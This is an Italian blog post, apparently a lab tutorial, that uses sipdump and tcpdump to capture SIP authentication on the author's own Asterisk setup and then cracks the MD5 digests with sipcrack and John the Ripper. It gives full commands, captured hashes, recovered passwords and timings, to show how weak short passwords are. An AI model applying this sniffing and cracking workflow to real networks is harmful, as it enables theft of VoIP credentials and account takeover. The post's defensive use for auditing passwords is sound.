Cracking della autenticazione SIP
by admin on Jun.03, 2009, under Asterisk, Hacking, Sicurezza, VoIP
SIPcrack è una suite di tools che permettono di catturare e decifrare i dati di autenticazione normalmente usati nel protocollo SIP.
Fa parte dell’insieme dei tools presenti nella famosa (o famigerata) distribuzione BackTrack e costituisce uno strumento molto utile agli amministratori di sistema per poter valutare la eventuale fragilità degli accounts utilizzati e fornire indicazioni in merito.
È abbastanza ovvio che se ne possa fare un uso non lecito, dal quale mi dissocio riaffermando che quanto presento ha esclusivamente valore didattico.
La versione più recente del software (la 0.3) è scaricabile da qui:
Una volta decompresso il tarball, è sufficiente impartire:
# make
dall’interno della directory generata.
In assenza di OpenSSL installato il comando può essere variato in:
# make no-openssl
per fare in modo che venga utilizzata la funzione MD5 integrata (che è tuttavia più lenta della relativa implementazione OpenSSL).
La compilazione risulta nella generazione di due eseguibili, sipdump e sipcrack, complementari nell’utilizzo.
È necessario creare dei links simbolici, ad esempio in /bin, per poterli mandare in esecuzione col semplice nome.
Sipdump serve a catturare i dati relativi alle autenticazioni SIP, registrandole in un file.
Se viene rilevata una login cioè, viene scritta in tale file.
Il tool sipdump può essere utilizzato in modalità standalone oppure in combinazione con files di dump ottenuti con pcap:
Si può generare un file simile usando tcpdump:
# tcpdump -s 0 -w pcap.txt udp and port 5060
e successivamente passare il file a sipdump per la ricerca dei dati di login:
# sipdump -p pcap.txt logins.dump
Per fare un esempio pratico, ho definito questi peers in Asterisk (sip.conf), corrisponti ad altrettante identità di uno Snom360:
[phone1]
secret=secret
[...]
[phone2]
secret=blah
[...]
[phone3]
secret=blahpoly
[...]
[phone4]
secret=digium
[...]
Le password utilizzate sono quelle presenti negli originali files configurativi di esempio di Asterisk.
Durante la cattura, l’avvenuta registrazione delle quattro identità viene segnalata su stdout:
# ./sipdump filedump1
SIPdump 0.2 ( MaJoMu | www.codito.de )
---------------------------------------
* Using dev 'eth0' for sniffing
* Starting to sniff with packet filter 'tcp or udp'
* Dumped login from 192.168.1.10 -> 192.168.1.200 (User: 'phone1')
* Dumped login from 192.168.1.10 -> 192.168.1.200 (User: 'phone2')
* Dumped login from 192.168.1.10 -> 192.168.1.200 (User: 'phone3')
* Dumped login from 192.168.1.10 -> 192.168.1.200 (User: 'phone4')
e il contenuto del file ottenuto da sipdump risulta il seguente:
192.168.1.200"192.168.1.10"phone1"asterisk"REGISTER"sip:192.168.1.10"\
438826af""""MD5"b7d9446aa7f0593e30d57b2870dcf049
192.168.1.200"192.168.1.10"phone2"asterisk"REGISTER"sip:192.168.1.10"\
54b3f33c""""MD5"9a57a2b3e0edce61d3dc0b19494067c5
192.168.1.200"192.168.1.10"phone3"asterisk"REGISTER"sip:192.168.1.10"\
619a4573""""MD5"b96f2e6786d04f378d7e2914496292e6
192.168.1.200"192.168.1.10"phone4"asterisk"REGISTER"sip:192.168.1.10"\
31c87765""""MD5"a6f38d7773c830a59e9987ad5acf89ff
A questo punto si può usare sipcrack per ottenere la password utente a partire dal file generato da sipdump.
Se viene trovata una password, i dati di login, nel file, vengono aggiornati.
Per operare, sipcrack necessita di una serie di parole per ottenere un hash MD5 da confrontare con quello catturato, che possono essergli passate da standard input, oppure ricorrendo ad un file esterno (opzione -w) contenente una lista di possibili candidate.
Nel tentativo di crack dei quattro hash MD5 che abbiamo a disposizione, faremo ricorso ad un metodo più potente, e che consiste nell’impiego di sipcrack in combinazione con John the ripper
Si crea una fifo (named pipe):
# mkfifo myfifo
Si avvia john con le opportune opzioni, ad esempio in modo che generi passwords con lunghezza massima di 8 caratteri esclusivamente alfabetici, redirigendo l’ output verso la fifo appena creata:
# john --incremental=alpha --stdout=8 > myfifo
Start sipcrack and use the fifo file pipe as the wordlist source:
$ sipcrack -w myfifo filedump1
SIPcrack 0.2 ( MaJoMu | www.codito.de )
----------------------------------------
* Found Accounts:
Num Server Client User Hash|Password
1 192.168.1.200 192.168.1.10 phone1 b7d9446aa7f0593e30d57b2870dcf049
2 192.168.1.200 192.168.1.10 phone2 9a57a2b3e0edce61d3dc0b19494067c5
3 192.168.1.200 192.168.1.10 phone3 b96f2e6786d04f378d7e2914496292e6
4 192.168.1.200 192.168.1.10 phone4 a6f38d7773c830a59e9987ad5acf89ff
* Select which entry to crack (1 - 4): 1
* Generating static MD5 hash... 07b9f339857c70e440eae2dfbd05a2fe
* Loaded wordlist: 'myfifo'
* Starting bruteforce against user 'phone1' (MD5: 'b7d9446aa7f0593e30d57b2870dcf049')
[...]
Utilizzando un altro terminale è possibile verificare le continue operazioni in scrittura affettuate ad una estremità della pipe:
# ps aux |grep john
root 16286 10.9 0.6 9100 6468 pts/2 S 15:29 0:37 john --incremental=alpha --stdout=8
# strace -p 16286
Process 16286 attached - interrupt to quit
write(1, "\ncbsctrt\ncbsctrn\ncbsctrg\ncbsctal\n"..., 4096) = 4096
write(1, "\ncbufolf\ncbufold\ncbufoll\ncbufolm\n"..., 4096) = 4096
write(1, "\ncbufesz\ncbufeso\ncbufeau\ncbufead\n"..., 4096) = 4096
[...]
nonché quelle in lettura, affettuate all’altra estremità:
# ps aux |grep sipcrack
root 16287 78.6 0.0 3240 852 pts/2 R+ 15:29 8:01 ./sipcrack -w myfifo filedump1
# strace -p 16287
Process 16287 attached - interrupt to quit
read(3, "vitv\nhtviav\nhtvikf\nhtvigx\nhtviiu\n"..., 4096) = 4096
read(3, "kpk\nhtnkxf\nhtnsec\nhtnsoz\nhtnsah\nh"..., 4096) = 4096
read(3, "bm\nhcinfk\nhcinnw\nhcinuv\nhcinhq\nhc"..., 4096) = 4096
read(3, "u\nhcomof\nhcombm\nhcommk\nhcomuv\nhco"..., 4096) = 4096
[...]
Il tempo impiegato per craccare i primi due hash è stato ridicolmente breve, meno di un secondo in entrambi i casi:
* Tried 3128 passwords in 0 seconds
* Found password: 'secret'
[...]
qualche decina nel terzo:
* Tried 26339569 passwords in 40 seconds
* Found password: 'digium'
rilevante solo nel terzo caso:
* Tried 3203081625 passwords in 18081 seconds
* Found password: 'blahpoly'
In ogni caso il test evidenzia quanto fragile sia l’autenticazione basata su password più corte di una certa lunghezza o composte solamente di caratteri alfabetici.
Non parliamo poi del caso di password composte unicamente di numeri, caso in cui la codifica MD5 risulta di scarsissima protezione, a meno che la password sia piuttosto lunga:
Ripetendo infatti il testo ed attribuendo come password a phone1, phone2, phone3 e phone4, rispettivamente 123456, 2345678, 34567890 e 456789012 il tempo impiegato per craccare i relativi hash è stato di 0 secondi, 3 secondi e 87 secondi, mentre l’ultimo tentativo è stato abortito semplicemente perché avrei dovuto compilare john the ripper innalzando il limite di 8 caratteri generabili in modalità “incremental”.



June 3rd, 2009 on 9:30 pm
.